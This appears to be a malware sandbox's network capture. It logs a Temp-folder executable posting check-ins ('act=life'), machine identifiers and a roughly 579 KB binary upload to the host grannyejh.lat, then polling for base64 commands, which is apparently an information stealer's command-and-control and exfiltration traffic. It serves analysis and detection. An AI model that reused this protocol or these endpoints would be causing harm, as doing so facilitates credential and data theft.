2024-12-18 14:56:43 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 14:56:43 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 14:56:44 UTC	1029	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:56:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=30uuql8nkiiu1ch6lnh64ikolm; expires=Sun, 13-Apr-2025 08:43:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vAlznpuJtC%2FjdkCf0dk8jfl%2B5HIeUxm8LWb0vBlMMc3fAzkMTDAWvvnXL2MdsuX%2FINl0fLs76bbZHiljjWMZ48dDr9LBBeY1es9vEWr4csqMgFrCtMJq1tQTwUmh9w6B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4000504a0c7cb2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1806&min_rtt=1800&rtt_var=688&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=1574973&cwnd=216&unsent_bytes=0&cid=2f4cec68d9680803&ts=1325&x=0"
2024-12-18 14:56:44 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 14:56:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49842	172.67.179.109	443	6976	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:56:44 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PQRVXCWVJ9Z7MRWT2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1278 Host: grannyejh.lat
2024-12-18 14:56:44 UTC	1278	OUT	Data Raw: 2d 2d 50 51 52 56 58 43 57 56 4a 39 5a 37 4d 52 57 54 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 51 52 56 58 43 57 56 4a 39 5a 37 4d 52 57 54 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 51 52 56 58 43 57 56 4a 39 5a 37 4d 52 57 54 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --PQRVXCWVJ9Z7MRWT2Content-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--PQRVXCWVJ9Z7MRWT2Content-Disposition: form-data; name="pid"1--PQRVXCWVJ9Z7MRWT2Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-18 14:56:46 UTC	1030	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:56:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1gclaja8dvas5lv46js85kpqf7; expires=Sun, 13-Apr-2025 08:43:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MnQd5gUHIwhyRdMBO%2FyezcuFp6wQFDWOB2FczXjexfmYlh6%2BjhHrHBkjK3LrJxA2hd7bh9hJl4QEnNdu9ruxmtJX%2FtEnQG6OZo7wJQzlIjPdAoDv8pItPebWVct38TNu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f400057bd034396-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2222&min_rtt=2220&rtt_var=837&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2191&delivery_rate=1304736&cwnd=252&unsent_bytes=0&cid=101dd16dc0afb26e&ts=1921&x=0"
2024-12-18 14:56:46 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:56:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49852	172.67.179.109	443	6976	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:56:48 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0GCARR5KSK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 579251 Host: grannyejh.lat
2024-12-18 14:56:48 UTC	15331	OUT	Data Raw: 2d 2d 30 47 43 41 52 52 35 4b 53 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 47 43 41 52 52 35 4b 53 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 47 43 41 52 52 35 4b 53 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 30 47 43 41 52 52 35 4b 53 4b 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --0GCARR5KSKContent-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--0GCARR5KSKContent-Disposition: form-data; name="pid"1--0GCARR5KSKContent-Disposition: form-data; name="lid"PsFKDg--pablo--0GCARR5KSKContent-
2024-12-18 14:56:48 UTC	15331	OUT	Data Raw: 94 7f 73 a9 7c b7 5f 9c ef bb 80 78 3e 4d 34 5c 92 7e 7a ac 0c 05 77 a1 b3 f8 6d e1 0a d9 5c 71 0f e1 46 ab a8 c0 a7 14 fe b4 8c 85 cf 6a 5d ba 96 ee 5c b3 60 8c 86 8a 58 89 27 e3 ae 17 99 49 4b 3b ec 4e 5f 1a 0c 62 33 83 3d 9d 17 13 3d 11 5c 3d b3 e7 1d 10 77 63 27 c5 90 5d 58 85 81 50 17 34 7c 48 73 d3 d4 12 10 bd 76 72 54 06 23 e3 8f 3b 8b 6d 5d d2 1b d6 70 9b 42 90 ff 94 d7 9e c1 2f 6e 24 6b 2c 18 0e f1 fd 97 b9 b8 28 39 f0 94 d1 f5 1b 10 2c ce fd d4 2e bf fb fb bc ca cd a5 be 0f 08 60 28 8b 52 e2 68 43 e9 b7 23 6f 69 ef 7f 7c 49 bf 7d 7f 56 d9 c6 3f 7c 60 c0 02 fa a3 23 fe 9b 87 19 7c 19 a2 51 d2 a0 1e 3e 20 1a 0e 5b 2d 00 ea 07 71 f0 14 ac 60 99 3c 82 0d 5a 61 35 f4 8e 8b d8 45 b3 ad dd 98 bd a8 b9 dd da 1f 6a 6b 42 40 36 2c 74 0d a4 7b 6f b2 9d 2e Data Ascii: s\|_x>M4\~zwm\qFj]\`X'IK;N_b3==\=wc']XP4\|HsvrT#;m]pB/n$k,(9,.`(RhC#oi\|I}V?\|`#\|Q> [-q`<Za5EjkB@6,t{o.
2024-12-18 14:56:48 UTC	15331	OUT	Data Raw: cd b9 48 7b 90 b0 30 52 f1 e0 fc d9 8f 27 13 04 3b 84 9a 37 8e 3d 00 d9 f5 38 e2 42 6b 8d 56 36 66 e6 f9 2b 5c dd e9 c6 18 4e a4 37 47 ba dc 86 31 51 1f 38 24 dd 5b b3 e1 47 a1 5e b7 33 4b c6 65 38 78 5d 5e ea cb 1e 94 20 d2 54 42 d2 ca 96 04 7f f5 f6 e4 d6 e9 f4 ff b2 14 64 14 47 4a 09 0b cf 54 38 87 ea f3 89 be 45 13 1f 37 c2 f5 c5 c3 5f b0 0a 23 b6 20 e0 9d 2a 2e e1 0d 31 22 ec f9 69 05 36 81 6b 8b f2 a4 6a 7d 2d df cd 39 96 2f 0d cc e3 9a 50 0f 75 48 d9 35 65 4e 1f 34 c6 e9 f7 e8 33 cc e0 59 7a c5 82 b6 ef 42 15 a3 7c 58 73 d5 92 31 fe fa 9b 14 47 8b d3 5e 80 d8 b2 56 19 39 e8 fb ed cd b3 32 c5 16 d5 fa 27 b9 d7 e8 2f eb ee e0 de 2a ef 87 e9 5d 82 60 68 d9 66 5b 15 0b 88 eb 81 bf ab 27 07 be 9b e5 bd bb cb 2a bb 29 52 da cc dd ea 9b 37 af de f5 81 d9 Data Ascii: H{0R';7=8BkV6f+\N7G1Q8$[G^3Ke8x]^ TBdGJT8E7_# .1"i6kj}-9/PuH5eN43YzB\|Xs1G^V92'/]`hf['*)R7
2024-12-18 14:56:48 UTC	15331	OUT	Data Raw: 33 4c 27 e5 e4 83 40 90 ac 9c 30 a3 66 60 ac 25 2a 57 a4 b0 cf fc a3 1f 07 9d c9 ca 7c 5d eb 25 92 6c 43 3f 45 fa e1 97 79 79 8e d2 42 73 ac bd fb f1 da 69 cc 09 8b 3b b3 80 d5 f4 ef d7 c5 5f a9 3b d1 44 08 4a 57 75 60 86 94 04 25 23 b0 6f 70 75 e5 69 9c 4b 23 93 9c 82 af ea 75 f4 bd e3 34 59 af 38 e4 62 43 f9 fd bd f5 55 8b 61 25 e4 02 56 a6 33 b2 77 68 95 22 85 a3 27 2b 7e e3 5f 65 1d ca 98 e1 36 cf c8 73 35 ab 53 0f e6 e2 11 4b b3 1e aa ed 0e 80 aa 39 27 7e b6 6f b2 66 9c 1b 1a 57 86 7f 98 a6 cb d9 ce a2 d7 0a 32 4b 46 8d 1f 60 48 cc f2 fa 72 7b 24 18 01 ac 3e c7 7f 1a 19 39 71 08 ec 71 65 00 91 d6 34 1c 9f 11 2c 81 63 63 58 43 42 dd 8d c9 cc 9f f2 50 da 88 55 4e 4b 60 19 b0 3b 77 56 75 8b 5b c7 8a e1 a6 ce 0a 3e 59 eb 17 fa bb 07 a8 02 10 8b b0 ff bb Data Ascii: 3L'@0f`%*W\|]%lC?EyyBsi;_;DJWu`%#opuiK#u4Y8bCUa%V3wh"'+~_e6s5SK9'~ofW2KF`Hr{$>9qqe4,ccXCBPUNK`;wVu[>Y
2024-12-18 14:56:48 UTC	15331	OUT	Data Raw: 18 59 db c9 85 c2 96 70 42 be 1a a6 b8 d5 24 90 13 23 0b f9 05 7c 1c 11 5f 31 8d 0e 49 80 e9 c0 7f f4 16 34 fd 6d 48 35 d3 35 98 ed a5 a3 6d 87 a5 b7 95 a1 24 c4 67 c2 4b 05 3a 95 ad d2 b2 0f 12 24 dc eb 90 31 d1 31 d1 91 3a 36 a1 7a 63 5b 9d 7c c4 98 d0 e0 c4 da 3e c9 53 7a 2d 0e da 11 2f 0c 80 cf 6f f4 45 b2 81 8a ad 07 7c eb 53 72 fa ef 08 28 00 ba 15 07 cc 91 b7 65 19 25 7b 70 7d 70 a1 b8 96 b2 02 38 21 b3 61 19 ed 27 8c a3 53 cc 4c 23 8d 5b 59 51 5d a2 2d 39 9a dd c1 ff 32 5c e0 88 d4 2d 8c a6 a9 a2 42 44 c0 f2 e9 68 72 fa 6a f6 4b f3 36 9e d5 c7 3a ef b1 fc 7b 3d 45 50 73 bc 55 f0 c8 c6 dd 6f e6 98 65 a6 b0 06 f6 c5 4e ad 2e d9 3c 9f c6 c4 ae 0f 96 2d d9 ad 26 fd 73 72 f7 99 ef 75 da 9a 62 d8 95 1d 71 05 81 74 d1 de fd a0 58 db c9 09 67 36 95 bd 07 Data Ascii: YpB$#\|_1I4mH55m$gK:$11:6zc[\|>Sz-/oE\|Sr(e%{p}p8!a'SL#[YQ]-92\-BDhrjK6:{=EPsUoeN.<-&srubqtXg6
2024-12-18 14:56:48 UTC	15331	OUT	Data Raw: 54 3c 9c fc be 23 11 4d bf 4d d5 3a 81 7c 5e bc 56 0c ea 91 13 0e f1 83 1f ab 0c e9 e5 c7 59 5d 38 d0 7d fd ba 69 36 68 09 a7 ef fe 4a 93 df 6e db 2a 43 d1 43 c2 e9 06 80 9a 2d 0b ba 0f e2 65 4b 0a ad 91 1f ed 96 a0 69 44 85 06 10 73 1e 68 99 25 12 73 1c 5e 39 61 61 f1 95 00 ea fe 65 8e e1 a3 a1 13 9e d6 62 3c e2 df 42 3f 66 b8 ae 39 be 3b 59 93 29 06 51 3d 84 3a 95 90 f4 cf 68 7a fc 60 04 dc 48 7f 58 71 04 3c 7b 2e e1 6f 4b d8 ce e7 33 94 5f 6c 2c 27 2a a4 de 82 c4 5d 52 7c 59 42 a0 77 32 3b 2a 14 04 4b 4b dc e9 3a bc a7 da 36 43 5b 8b 80 cd 45 32 0d 72 12 dc dd fc 85 28 36 01 a1 78 5e a9 4a de a4 80 8a 3d 6b 1f 97 c1 a5 6f f2 91 a1 cf 6d 42 c2 62 b2 a3 03 0f b3 da 02 3d b0 0a 75 d9 4c 01 6a 2d 42 65 6f 98 f4 2f 50 69 5f 0a 5e 7d 9a 8d 38 45 ee 05 99 16 Data Ascii: T<#MM:\|^VY]8}i6hJnCC-eKiDsh%s^9aaeb<B?f9;Y)Q=:hz`HXq<{.oK3_l,']R\|YBw2;*KK:6C[E2r(6x^J=komBb=uLj-Beo/Pi_^}8E
2024-12-18 14:56:48 UTC	15331	OUT	Data Raw: f1 b7 b2 85 2f 83 eb ff 22 6d 45 49 f6 7c 13 fa 2b 06 e7 19 73 6c 46 9e bf 08 e5 1b 77 78 a4 25 58 d7 4d bd 8d e3 b6 1b f1 b3 7f 89 bc 2f 46 c1 7e fa 85 47 6c cb 83 02 f2 dc a7 7e 4d 56 e2 48 0f e7 2b b8 9c c9 f2 c0 85 d8 f9 b2 09 79 1c 3e 64 f5 a3 e3 29 bf 81 00 2b 9f 09 b5 50 29 f6 c8 44 45 0c 87 d3 cc 75 ff 13 1e 1a 03 f4 c1 7f 66 38 68 cc c3 34 c6 8b 83 4d b7 01 f3 0c 0e 34 c7 0c 0e 64 43 0c 73 d9 0c 65 ef d5 cf 92 6f 1e e4 74 35 6d 13 50 f4 5b 8e f2 1d 16 d3 4e 47 55 40 e2 b4 28 18 a1 64 f3 a1 bd 10 20 26 4d 25 93 c9 10 c3 c2 18 e6 05 de e7 c5 a1 7b 86 15 1f ff 40 c3 8b 0b 1f 42 7e 16 d8 69 6b 3d 43 19 ea 60 c4 f0 28 54 bc da cd ef f6 43 c5 75 03 d5 f2 27 d0 45 7e fd e1 7f 3d 62 f9 79 b7 05 be 5f 82 68 1d 5a 4c 3c 58 7b 37 c5 03 70 58 4c 3a 1f 78 12 Data Ascii: /"mEI\|+slFwx%XM/F~Gl~MVH+y>d)+P)DEuf8h4M4dCseot5mP[NGU@(d &M%{@B~ik=C`(TCu'E~=by_hZL<X{7pXL:x
2024-12-18 14:56:48 UTC	15331	OUT	Data Raw: e1 31 97 bd e5 ae 9b 46 1b 1d 25 43 ab f8 a2 37 a8 d8 a6 2c 33 f4 ac af 1d c6 41 10 e8 0e fd f6 e8 8f 09 a5 68 eb 0b fb 7d f1 4f 94 c8 07 f8 61 0b 07 59 b5 1a c4 8c d4 0f 3f 2b fc 60 e4 3d c0 7a 9a fc 61 96 10 6d 4a 3c 3c 7f 71 3f 46 29 3e 40 f9 ef fc ee 0b 8a c8 0a 49 e7 a1 f7 c5 44 a3 95 ae a3 b1 6b 75 e4 53 4f ab 85 57 30 53 60 7c b2 df a2 46 eb a2 32 15 ff e0 c9 8c 87 07 a4 c1 6e 0e 9f c4 7c a8 12 88 86 29 71 df b0 57 d7 cf 06 e7 74 42 3f 74 03 d1 5b e6 97 1c c3 4f ed 2e 98 a3 ea dd ea d0 1d da e5 7c 0f 94 fa 7c fa 78 6c 90 e2 ca bd 8d 3c 55 58 36 22 3f af 35 a4 73 ab ec 6c e1 ad 32 79 4a 4d b8 f8 1c 9f bb 05 a3 0f f4 eb dd f8 1f 57 d6 7f 96 c3 a4 88 11 4f 3e bd 77 57 39 63 93 d5 3c 50 57 b6 1c a9 13 af d8 c5 8d f8 9f b8 28 84 e9 72 51 ed 32 b9 ff 25 Data Ascii: 1F%C7,3Ah}OaY?+`=zamJ<<q?F)>@IDkuSOW0S`\|F2n\|)qWtB?t[O.\|\|xl<UX6"?5sl2yJMWO>wW9c<PW(rQ2%
2024-12-18 14:56:48 UTC	15331	OUT	Data Raw: 66 6d 0f a9 aa e6 1e bd 23 b4 d9 6b 58 a4 d9 f4 1d 01 ab c5 ee b9 bb fc 82 ea fc ea 67 4f 93 59 74 c3 db 09 57 11 b9 d7 ed dd ef 01 12 24 29 20 0c 81 be 7f 68 da 58 fc ee 7d ee 8c 8b 9d d9 46 9d 95 d7 02 1f 0d 4e 74 12 36 f7 e7 db 0a ef 6b 4c a7 1f 47 85 0c 2b bb 8d bf bf d9 76 ea 0c e2 6d ff 21 e6 66 48 69 36 c4 bc 1c b4 e2 d3 a5 37 14 c5 d4 9a 8f 0c 90 95 50 5c 71 4f 49 2f 4b b7 17 98 7c df 4c f9 ec 3e f4 76 ed 04 31 4c 92 76 01 55 89 06 ad 12 28 2b 3b 29 fe 9b 61 95 87 cc 88 c7 3b 85 c1 ce 91 6c db fc 8f aa 02 5f c2 0b ff 97 27 00 3f ef 92 73 b0 17 64 4e 32 cb 8a 1b 7e 44 0e 36 33 36 cf a4 6c 58 89 e8 79 94 1f 59 70 5f fb e8 24 ac 5d fa 49 59 9f 97 c9 ae ab 3f 1b 92 19 13 3d 73 c9 bf 34 58 50 10 2f e7 14 2b d6 5d 46 2d 21 4f a5 ff ef 6c bc ff d9 7d 91 Data Ascii: fm#kXgOYtW$) hX}FNt6kLG+vm!fHi67P\qOI/K\|L>v1LvU(+;)a;l_'?sdN2~D636lXyYp_$]IY?=s4XP/+]F-!Ol}
2024-12-18 14:56:48 UTC	15331	OUT	Data Raw: 08 93 7d 26 cb fa ec cf 99 56 7a ea 31 7b 16 b4 fc 2b f4 98 5d 86 7b 5a d9 73 77 6d 8a 29 95 fc 32 dc ef e6 87 67 a5 42 dc 33 06 8a 66 6f ce a6 84 67 3b f6 68 32 da 5a a3 a6 56 de 8d 2d fb bf 77 48 de ba 34 66 5e 30 94 e7 72 7f 6b 5c 29 27 a1 c0 bf c2 a0 72 8a ad e8 6d c8 0a 9d 7b 09 45 0d 24 02 7a 35 63 70 b9 d7 fc f2 c5 49 57 cc 1b 19 ff ae 85 2b 5f c7 f2 87 78 27 16 aa 96 f3 4d 87 66 93 16 ae 61 b1 00 db d5 af d3 66 f4 d4 b5 94 fe 76 96 52 19 bc 9a 06 be 2f 5e 95 18 ec ff 77 fc 83 1e 02 f1 57 0e 47 36 72 be ae 6e 7f 75 65 b7 a6 da e3 ed c5 c0 ca 55 79 ef 8d 3f 28 b6 e4 55 e9 a0 8b d6 4d 4e 2b c1 36 a7 2b 4f 79 0d 3b 6b ee 5f 7c 5f 37 07 9d 75 3c 81 35 cb 36 2e 3d 59 29 7a 6f 7a 56 d0 f5 ad 8e 83 83 24 43 5e 67 27 4d 2d db f3 e2 11 bd 9f 32 2e a7 64 04 Data Ascii: }&Vz1{+]{Zswm)2gB3fog;h2ZV-wH4f^0rk\)'rm{E$z5cpIW+_x'MfafvR/^wWG6rnueUy?(UMN+6+Oy;k_\|_7u<56.=Y)zozV$C^g'M-2.d
2024-12-18 14:56:52 UTC	1038	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:56:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2tdhua46eo8j7s21fe4u59l4rh; expires=Sun, 13-Apr-2025 08:43:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6tkGSGBoNsTvT5CT%2BXRhWwfPs6xzibzpoY5cF2Xqs3u1iUySSgAKUT%2BMpLDllQSqkpmDJquEo2obJwmO3kLPar95kcq0ao%2Fa7n3FM9OGlpkkM1jNDFY7DTe3S%2BWZ9Yxk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4000723dd243ed-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1936&min_rtt=1716&rtt_var=1084&sent=297&recv=603&lost=0&retrans=0&sent_bytes=2830&recv_bytes=581809&delivery_rate=839562&cwnd=205&unsent_bytes=0&cid=7f2fc7cdd4fb76be&ts=4071&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49863	172.67.179.109	443	7396	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:56:52 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 14:56:52 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 14:56:53 UTC	1031	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:56:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0pfsfr85ddj26k7emdtaa78rpl; expires=Sun, 13-Apr-2025 08:43:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SSWvQ4kkcX7G1SMXmODitmrYY34L6m5lo6KD8bz%2Fz8JNBUpE23%2BuP6ad%2FNK0%2Fs3O7HVcIb00uDMwZKMPLkO0G7VkXKMmiugQCAgonSbVH96GNhBGJ9845jQfG6wU4fEl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f400086bbea1865-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1730&min_rtt=1728&rtt_var=653&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1669525&cwnd=195&unsent_bytes=0&cid=d189183a561b2b02&ts=1047&x=0"
2024-12-18 14:56:53 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 14:56:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49875	172.67.179.109	443	7396	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:56:54 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: grannyejh.lat
2024-12-18 14:56:54 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-18 14:56:58 UTC	1031	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:56:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=46vnhhr1nq9jdab8eoc1v57h8h; expires=Sun, 13-Apr-2025 08:43:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XCRprRmQER9uDEQNew%2BmGoZweVKrpRpeugxLHFqPpkl%2FvtV53c3d5I6ofuNvOdqezPnrigP0OxL0z8JykbVmeEokps%2Fv3O%2BBLdFgDgjvuVoBvTZLjyBr9q8v9A9EIpUQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f400094fd08426b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1756&min_rtt=1752&rtt_var=665&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=944&delivery_rate=1635854&cwnd=232&unsent_bytes=0&cid=6b32c866efc2bd07&ts=4047&x=0"
2024-12-18 14:56:58 UTC	338	IN	Data Raw: 34 64 63 0d 0a 7a 32 51 44 74 72 4a 79 77 51 4d 43 32 72 41 6e 41 4b 65 59 35 41 34 76 55 79 42 53 6b 2b 78 78 6b 66 37 72 57 30 6c 55 57 76 75 30 52 6e 57 55 69 45 62 74 49 58 47 2f 6b 68 31 30 31 65 32 42 49 67 30 79 52 48 43 70 69 68 44 39 6a 59 35 33 61 79 49 33 32 66 55 43 59 74 72 42 46 2b 30 68 5a 36 4b 53 48 56 76 63 75 6f 46 67 44 57 6b 43 4e 2f 6d 4f 45 50 32 63 69 6a 41 6d 4a 44 61 59 70 77 68 6b 33 74 63 52 70 57 4a 75 74 39 56 43 5a 63 62 79 69 6d 64 43 4f 30 31 77 76 38 34 55 36 39 7a 52 65 51 51 78 4c 70 71 43 42 58 44 64 6b 41 2f 74 65 43 43 2f 33 67 55 36 68 66 6d 42 62 45 4d 31 52 44 6e 37 68 42 6e 31 6e 59 38 78 4f 54 30 38 6b 36 63 47 5a 39 2f 64 47 4c 46 76 5a 4c 44 65 52 47 2f 47 75 73 67 73 53 69 6b 43 61 4c 48 64 49 66 43 4e 6d 43 Data Ascii: 4dcz2QDtrJywQMC2rAnAKeY5A4vUyBSk+xxkf7rW0lUWvu0RnWUiEbtIXG/kh101e2BIg0yRHCpihD9jY53ayI32fUCYtrBF+0hZ6KSHVvcuoFgDWkCN/mOEP2cijAmJDaYpwhk3tcRpWJut9VCZcbyimdCO01wv84U69zReQQxLpqCBXDdkA/teCC/3gU6hfmBbEM1RDn7hBn1nY8xOT08k6cGZ9/dGLFvZLDeRG/GusgsSikCaLHdIfCNmC
